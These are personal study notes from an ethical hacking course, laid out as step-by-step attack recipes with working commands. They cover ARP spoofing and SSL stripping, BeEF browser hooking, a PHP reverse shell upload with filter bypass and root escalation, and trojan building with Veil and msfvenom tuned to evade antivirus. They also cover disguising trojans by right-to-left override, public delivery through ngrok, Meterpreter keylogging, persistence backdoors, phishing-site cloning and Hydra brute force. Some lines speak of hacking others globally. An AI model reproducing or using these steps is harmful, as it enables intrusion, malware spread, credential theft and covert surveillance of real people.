Personal Notes of what I learned from the Udemy Ethical Hacking Course

These notes are entirely written by me and represent my personal understanding

((CHECK IP'S))

netdiscover -i eth0 -r 192.168.1.0/24 --> (this command to show the ip addresses that are connected to my wifi)

(((CHANGE MAC ADDRESS)))

ifconfig eth0 down --> (so first we have to bring the interface eth0 down) (it will temporarily disable the network interface eth0)
then
macchanger --random eth0
then
ifconfig eth0 up

(((NMAP (NETWORK MAPPER)))) :-

Network scanning and discovery tool such as : discover open ports on targets / Checks for vulnerabilities / Finds devices/hosts on a network
nmap -Pn 10.0.2.13 --> -Pn flag will skip the host discovery (it will treat the target as online)
nmap -p- 10.0.2.12 --> scan all 65,535 TCP ports. (useful to find unusual ports like BACKDOOR , CUSTOME SERVICES)
nmap 10.0.2.12 ---> only scan the top 1,000 most common ports.
nmap -sV -sC 10.0.2.12 --->-sC will run a useful scripts against the target like common vulnerabilities / default credentials / additional information.
After discovering open services and their versions using Nmap, we can search for exploits by using the searchsploit tool with the service name and version number. and When we discover open services, we connect to them using their specific commands like ssh target_ip or ftp target_ip, or for HTTP we browse it by entering http://target_ip in the browser.

DARK WEB

1. **Go to the path /Downloads/tor-browser** .... double click on "start-tor-browser.desktop" ..... OR **cd /Downloads/tor-browser** then **./start-tor-browser.desktop**
2. **browse hiddenwiki** THAT'S IT

PROXYCHAINS:

sudo systemctl start tor --> Starts the Tor service
systemctl is a system management tool with commands like:

- start, stop, restart
- enable (auto-start at boot), disable
- status (check if service is active)
  proxychains firefox --> we use this command for specifiying the web browser we are going to activate TOR SERVICE on it (we can change firefox to any other bwe browsers for example : proxychains wget (url) or proxychain googel-chrome)
  proxychains nmap -sT google.com --> "nmap": Scans the target (google.com) to find open ports and services. **so using "proxychains" means** the scan will happen through the proxy network, making your IP address appear as the proxy's rather than your actual one).

(((GOBUSTER))):

Uses wordlists to brute-force and discover:
Hidden directories (/admin, /backup, /secret).....Hidden files (config.php, backup.zip, admin.txt,robots.txt)
gobuster dir -u http://target_ip -w wordlist.txt ---> by typing "dir" we are telling gobuster to find us hidden directories/files ,,,,,, the url is the target to find inside ,,,,, the wordlists is the random directory names.

(((FEROXBUSTER)))

feroxbuster -u http://target-ip -w /path/to/common.txt

(((ARP SPOOFING & MITM))):-

Address Resolution Protocol .....ARP only work inside a local network (LAN).

ARP'S CACHE CAN STORE BOTH IP AND MAC ADDRESS.
so this is how it works : “Hey everyone in this neighborhood, does anyone have the IP 192.168.1.5? Please tell me your MAC!”.....Every device on the LAN receives it. Only the device with that IP replies, and the reply is unicast — sent directly back to the requester.

arp -a --->to spot duplicated MACs in windows using CMD.

TIPS:
we use arpspoof in (MITM ATTACK) because the protocol ARP has no security, so any device can say this ip is mine!!

Why does MITM require the attacker to take over the MAC address in the ARP tables?----> Because local packets are delivered using MAC addresses.

1-**we have to open two terminals** ----> In the first one we are tricking the victim by claiming we are the router "10.0.2.12" and vice versa in the second terminal.
arpspoof -i eth0 -t 10.0.2.12 10.0.2.1 ---> Target is "10.0.2.12" Sends fake ARP packets to poison the ARP cache of a target.
and by telling him that i am 10.0.2.1 (the Router) so at the same time "the Router" sending packages to the target saying this is my IP, so i am literally sending forged(fake) ARP replies to poison the victim's ARP cache.

2-And in the second terminal we are saying yes i am the owner of this ip "10.0.2.12" and tricking the router:
arpspoof -i eth0 -t 10.0.2.1 10.0.2.12 --> The Target is "10.0.2.1"
cat /proc/sys/net/ipv4/ip_forward (if value is 1 then the forwarding will be enabled and my machine will be able to act like a router) (if it hold the value 0 then the forwarding disabled → my machine doesn't pass packets between interfaces)
echo 1 > /proc/sys/net/ipv4/ip_forward (this will make it 1)

(((WIRESHARK)))

when we are reconnassasing in the packets in the section "info" we can see the details of each packet. Get method: The client requests data from the server (like asking for a webpage or information). Post method: The client sends data to the server (like submitting a form, login info, or uploading something).

(((BeEf))) :

Change password: navigate to beef directory → `nano config.yaml` → edit user/passwd at the bottom.

1. `service apache2 start` → start Apache server
2. `cd /home/kali/github/beef` → navigate to BeEF directory
3. `./beef` → run BeEF (copy the hook URL shown: `http://192.168.1.102:3000/hook.js`)
4. `cd /var/www/html`
5. `nano index.html` → add this script tag: `<script src="http://192.168.1.102:3000/hook.js"> </script>` → save (Ctrl+O, Enter, Ctrl+X)
6. **Browse to your IP in Firefox** → victim gets hooked → their browser appears in BeEF under "ONLINE BROWSERS". and now I have full access to the hooked browser!

TIP:

funny/useful Commands in Beef:
Spyder Eye --> screenshot of the target current page.
pretty theft --> facebook , and other social media platforms session timed out fake alert.

fake notification Bar (chrome)---> we have the ability to share a URL link with Trojan payload...RIP lollll

(((BETTERCAP))) :

Network attacks and monitoring. It’s a powerful tool for Penetration Testing
-to activate it :
bettercap -iface eth0 ....then it list all it's tools we type HELP,,,,,and to choose one we type it and beside it we type on for example MAC. CHANGER ON .....in case we want to learn about other tools funtions we type help "name of the tool"

1-TO USE ARP SPOOF IN BETTERCAP:

-arp .spoof on --->first we need to activate it
help arp.spoof --->(to read the instruction and how to type the commands)
-set arp.spoof.fullduplex true --->(check below the difference between true and false) (*from here we start the first step and press enter after it and do the saem for the next command)
true----> Bettercap will spoof both the victim and the router (full-duplex MITM).
false---->Bettercap will spoof only the victim, not the router. (the usage of it is we can see what the victim sends OUT (requests, DNS, HTTP, data going to the internet).
-set arp.spoof.targets 192.168.106--->we choose our victim ip address.
-net.sniff on-->we have to activate this as well so we can probe the packets (its same as wireshark). (and we are DONE once we enter google the packets will appear).

TIPS:

(tool) SSLStrip= downgrade websites from HTTPS ---> HTTP (Works only if the target is not protected by HSTS otherwise its impossible) (attackers)
HSTS= Blocks SSLStrip completely HTTP---> HTTPS (DEFENSE)
2-HSTSHIJACK ---> used to bypass the HSTS so we can attempt SSL STRIPPING
required models to activate it :
-net.probe on # to discover devices
-net.recon on # to map devices + track packets
-net.sniff on # to capture + modify packets (required for hstshijack)
-arp.spoof on # to become the MitM
-hstshijack/hstshijack on # tries to bypass HSTS

(((REVERSE SHELL)))

No vulnerability = can't upload reverse shell..... so we must find a way to get .PHP file onto the target and execute it.

1. **pentestmonkey/php-reverse-shell** (copy the code from Github)..... paste the code in a Mousepad and name it "name.php" **(it must be .php)**.
2. **nano filename.php** --> scroll down and change the ip to your machine ip. and for the port can be set randomly.
3. **Upload the ".php" file** -->Upload the .php file to the target website through a vulnerable upload section. If the website blocks .php files, try alternative PHP extensions: .php2 OR .php3 OR .php4 OR .php5 OR .phtml OR .phps OR .phar to bypass the filter.
4. **nc -lvnp 4444** -->Start a listener (use the same port i set in step 2 instead of 4444).
5. **Trigger it - browse to the file** --> http://target-ip/path/filename.php (once i browse the *reverse shell.php* i will have the shell of the target appears in my listener).
6. **which python** by this command we can check what python version does the shell own if is it python3 or python we move on with this ---> **python3 -c 'import pty;pty.spawn("/bin/bash")'** --> this will upgrade a basic reverse shell to a more functional interactive shell --> then **press CTRL+Z** !!!! it will pause the shell connection ... so type this command.....**stty raw -echo ; fg ; reset** it will connect me back to the reverse shell. www.tty shell python this where we got the 2nd command from .
7. **find / -perm -u=s 2>/dev/null**---> find SUID binaries ,,,, *2>/dev/null* (((hides the millions of “Permission denied” errors))) ,,, then a lists of full paths with binaries will be shown and we choose one that are unusual to exploit it by typing the name of the binary in gtfobins.org ((*/usr/bin/python* this is the full path to python binary and */usr/bin* is the path of the binary)).
8. **'full path' -c '** the command we will copy paste from gftobins' ---> after this command we will gain the root privilage.
9. **whoami** --> it should show as *root* after writing this command. so its basically asking who am i in this reverse shell ??? response : You are the root owner of this shell !!!!!

ngrok

Expose your **local Kali machine** to the **internet** through a public URL. its the bridge between my kali and the victim on internet around the world.
Ngrok creates a tunnel:

- Your Kali (192.168.1.10) (local) ← **tunnel** → `https://abc123.ngrok.io` (public URL)
  As long as ngrok is running: Ngrok tunnels to my Apache server Files/var/www/html .... so what I put there are accessible globally through the public url

steps for activating it:
cd /Downloads
./ngrok "AuthToken" .... press enter it will be saved now. (no need to repeat this step again if i did it once)
ngrok http 4242 --> so this will create a public tunnel to my local port so it will give me a *PUBLIC URL*

now i can use the public url to implement it in a trojan payload to connect through reverse shell globally.
my ip/payload.txt ---> so this is the URL that i can share globally and hack others.
ngrok URL/payload.txt ---> this is the alternative way i can browse it but i have to change *ngrok http port* to 80 so it cant be set randomly so it looks : ./ngrok http 80 ...then i will copy the public URL from ngrok after the "http://" so the http:// MUST NOT be included when we need to copy it in the LHOST .

(((CREATING TROJAN))) :

The following steps is to create a Trojan Payload and connect to target machine by the Reverse Shell Connection:

1. **CREATING TROJAN.exe:**

contains a reverse shell payload which is obfuscated (تمويه) to evade (للتهرب) from antivirus detection:
cd /home/kali/github/Veil
python3 Veil.py
use 1 (numebr 1 refers to the tool number 1 called "Evasion" means avoiding detection by antivirus)
List (it will list the available payloads)
use 14 (we are using the payload no 14)
set LHOST "my ip" then press enter (this tells the exploit to send the reverse connection back to our machine's IP address)
set LPORT 8080 then press enter (random port)
options (check the options again, ip and port values will be changed) (we must change on the others parameters or options with randomly values to have a clean file that the antivirus will be less chance of catching the Trojan file).
generate (SO HERE THE TROJAN FILE WILL be CREATED ENDING WITH .exe)

2. **STEPS TO UPLOAD PHOTO INSIDE A TROJAN FILE: (optional you may skip to step no.3)**

JPG to ICO converter ---> first of all transfer it to .ico
sudo mv "chess.ico" /var/www/html/ahmad/ --> so i moved chess.ico image to the same path where is our trojan file
cd /home/kali/github/TrojanFactory
python3 trojan_factory.py --help ---> you see the -f -e -o -i ,,,,, they are required to be filled. (-o is the new TROJAN file that will be created inside it the photo)
python3 trojan_factory.py -f http://192.168.1.108/ahmad/chess.jpeg **-e**

http://192.168.1.108/ahmad/backdoor.exe **-o /var/www/html/ahmad/newpayload.exe -i /var/www/html/ahmad/chess.ico** ---> FINAL STEP

3. **TO HOST TROJAN ON WEB SERVER:**

Doing this step will allow Target to download it by visiting: `http://your-ip/ahmad/trojan.exe`

- "Hey, download this cool game: http://192.168.1.108/ahmad/trojan.exe"
- **sudo mkdir /var/www/html/ahmad** ---> Create the ahmad folder
  mv TROJAN.exe /var/www/html/ahmad/ . ---> this will move the file TROJAN.exe into the path: /var/www/html/ahmad/TROJAN.exe
  sudo service apache2 start ---> this will start APACHE web server ... this will make my ip accessible as website.
  open and test in Firefox enter http://my ip /ahmad

4. **STEPS FOR ACTIVATING THE LISTENER:**

After the target downloads our trojan file we can listen to the packets:

msfconsole ---> to open metasploit tool (tool for exploits and listeners)
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_http ----> """This must match exactly what i generated in Veil"""
show options --> Displays all settings to verify before running
set LHOST my ip --> and 0.0.0.0 for globally browsing so everyone in the world have access to internet can be entering this
set LPORT 8080 ---> it should match what we set in Veil
exploit or run ---> this is the final step once the target downloads the trojan file we can listen to the packets now.

additional step : **sessions -l** --> this will list all active hacked machines ..... **sessions -i number** --->(this how can we pick a session from the list)

KEYSTROKE SNIFFER USING METERPRETER:

1. Create trojan → start listener (MSFCONSOLE)→ wait for victim connection
2. Once Meterpreter (listener) session opens → type `help` to see available commands or payloads.
3. **keyscan_start** → starts recording victim's keystrokes
4. **keyscan_dump** → shows everything victim typed
5. **keyscan_stop** → stops recording
6. to take *SCREENSHOT* just type **screenshot** in the Meterpreter.
7.

CREATING TROJAN PAYLOAD - MSFVENOM:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows LHOST="public url (ngrok) or my local ip" LPORT=4242 -f exe -o /home/kali/Desktop/newpayload.exe ---> so this simple command will create a trojan payload but its weak payload can be detected easily but its fast.

CREATING BACKDOOR:

A QUICK INTRO : incase to create a backdoor we should have been already implemented our trojan to the victim machine. So if he end the shutdown or deleted our trojan file, We will still have control of his machine by installing another file named randomly and will stay forever in his machine. thanks to the backdoor payload!!.

1. **create a strong clean Trojan payload**... implement it to the target machine.
2. **open MSFCONSOEL (Meterpreter)** ----> Two screens (listener) & (setting the backdoor)
3. **use exploit/windows/local/persistence** ---->(this for creating the backdoor)
4. **show options**
5. **set EXE_NAME windinfo.exe** ----> we will set the name of the backdoor file that will be on his machine. (shouldn't be suspicious).
6. **set session 1**
7. **set LHOST "my local ip"**
8. **set LPORT "random port"**
9. **show advanced** ----> (the payloads for the backdoor
10. **exploit** ---> THAT'S IT. NOW CHECK THE LISTENER.

INTRO: After your trojan gets the first connection, install a backdoor so if victim deletes the trojan or reboots, you still have access through a hidden persistent file.

1. **Create a strong clean trojan** → victim runs it → you get meterpreter session
2. **Open two terminals:** one for listener, one for backdoor setup
3. `use exploit/windows/local/persistence` → backdoor module
4. `show options`
5. `set EXE_NAME windinfo.exe` → name of hidden backdoor file (make it look legit)
6. `set SESSION 1` → target your active meterpreter session. to check all the active sessions ---> **sessions -l**
7. `set LHOST your IP`
8. `set LPORT randomPort`
9. `show advanced` → (Optional) view advanced options
10. `exploit` → backdoor installed!

(((RIGHT-TO-LEFT OVERRIDE TECHNIQUE))) : this step if we want to make our trojan file more secured.

newpayload.exe into newpayloadexe.jpg --->we changed .exe to .jpg .... its still .exe file ..... but good to trick victims by thinking its a JPG.

STEPS FOR IT :
cd /home/kali/github/RightToLeftOverrider
java -jar rtlo.jar
a screen will pop up ..... INPUT is the file that we need to change and OUTPUT is where we need the file to be created.
mv output_fileexe.jpg /var/www/html/ahmad/

.....
.....
.....

Those Are The Ways We Can Gather Information About a Site :

in the page we want to attack by pressing F12 (inspect) we search for comments like : used to tell the client their request was successful.
300-399 - Redirection----> These are used to redirect the client's request to another resource. This can be either to a different webpage or a different website altogether.
400-499 - Client Errors ----> Used to inform the client that there was an error with their request.
500-599 - Server Errors ----> This is reserved for errors happening on the server-side.

GET Request
This is used for getting information from a web server.
POST Request
This is used for submitting data to the web server and potentially creating new records
PUT Request
This is used for submitting data to a web server to update information

3-Info disclosure in version control history:

wget -r (url) ---> it is very useful tool to download data then we use gitk .....(watch youtube)

4-Information disclosure in error message :

by playing with the url for instance if we enter a store shop we enter any product try to type **/product=40000000000000000000** or any big number then it should tell not found page or error

page but if there is a source code was given then this page have a security vulnerability.

5-User role controlled by request parameter:

by using burp suite tool

.....
.....
.....

HASHING PASSWORD Using argon2 :

echo -n "the password that will be hashed" | argon2 mySalt -e (it's a strong hash hard to crack it and it store the hashed passwords in the database)

md5sum

used for files verification and its not recommended weak hashing passwords/files its just used for files integrity.

-Hashing files:
correct path cd /home/kali/Desktop
md5sum filess.txt ----> this will hash whatever inside the .txt file ..... WE CAN COMPARE BETWEEN TWO FILES CONTENTS EVEN IF THEY HAVE DIFFERENT NAMES BUT IF WE HAVE THE SAME HASH THEN ITS SAME CONTENT NO NEED TO READ IT.

-Hashing passwords
echo -n "flower" | m5dsum ---> this will hash the string flower

HASH-IDENTIFIER:

Just type **hash-identifier** in the terminal. IT will display the type and version of the hash.

CRACKING HASHES using HASHCAT

1. **hash-identifier** or browse **Hash Analyzer by Tunnelsup (INSTANT cracking for common hashes)** ----> First need to identify the type of the hash.
2. **hashcat -hh** ----> this will display the hash modes so i can pick the number related to the type of our hash exp: MD5=0 ,,, SHA2-256= 1400 ,,,
3. **hashcat -hh | grep "MD5/SHA/bcrypt"** ----> *grep*= (Globally Search For Regular Expression and print it out) ,,,, so (-hh) will be displayed and the grep command will filter the results only to the specific type i searched for..... Therefore, i can take the number quickly.
4. **hashcat -m 1400 /home/kali/Desktop/testhash.txt /usr/share/wordlists/rockyou.txt** ----->FIRST with (-m) we are defining the type of the hash which is 1400(SHA256) /// NEXT we set the hash inside a TextEditor then add the path to the command. OR we can directly add

the hash if it's not too long /// FINALLY we set our wordlists which is rockyou.txt to guess the passwords.

TIPS TO FIGURE OUT THE HASH TYPES WITHOUT TOOLS:

- 6 ----> SHA512-crypt
- $2a$ / $2b$ / $2y$ ----> bcrypt
- 1 ----> MD5-crypt

.....

zphisher : (fake official webpages to leak users data)

LS then **CD** zphisher then **bash zphisher.sh**

.....

setoolkit: (for sending malicious links)

steps for cloning a website:

1. **setoolkit**
2. 2 --> choose no.2 Website Attack Vectors
3. 3
4. 1
5. use NGROK public URL if i need it globally. and use my local IP if the target is under my WIFI connection . (final step)

.....

IMAGE METADATA:

exiftool CarImage.jpg ----> we can see the copyright owner of the photo and gather info about him.

.....

Sublist3r (OSINT power):

Lets say a company owns this website **example.com** ..... using Sublist3r it will find for us subdomains such as api.example.com or dev.example.com or old-admin.example.com these

subdomains are less secured and has huge red flags.

.....
.....

(((HYDRA))) :

Hydra can attack many services and proxies it depend on what service we are targeting such as FTP , SSH , HTTPS/HTTP even MySql. (remember that the ip of the target is written before the flag -t) check below.

hydra -l 7mood102 -P /usr/share/wordlists/rockyou.txt "machine_ip" -t 4 ssh --->the first parameter -l (lowercase)stands for (login username) ,,,,,,,,if we use -L (UPPERCASE) it stands for username list/file,,,,,,,,,,,,,,
the second flag is -P (UPPERCASE) refers to the password list/file (full path) ,,,,,,,,,,, -p (LOWERCASE) refers to the single password.,,,,,,,, -t stands for the service target. ..... -t 4 (the 4 means Hydra opens 4 test connections simultaneously)

.....
.....

MODULES:

OSINT Framework ---> (open source intelligence)
Wigle.net () ---> with BSSID (Mac Address) get physical location of the target.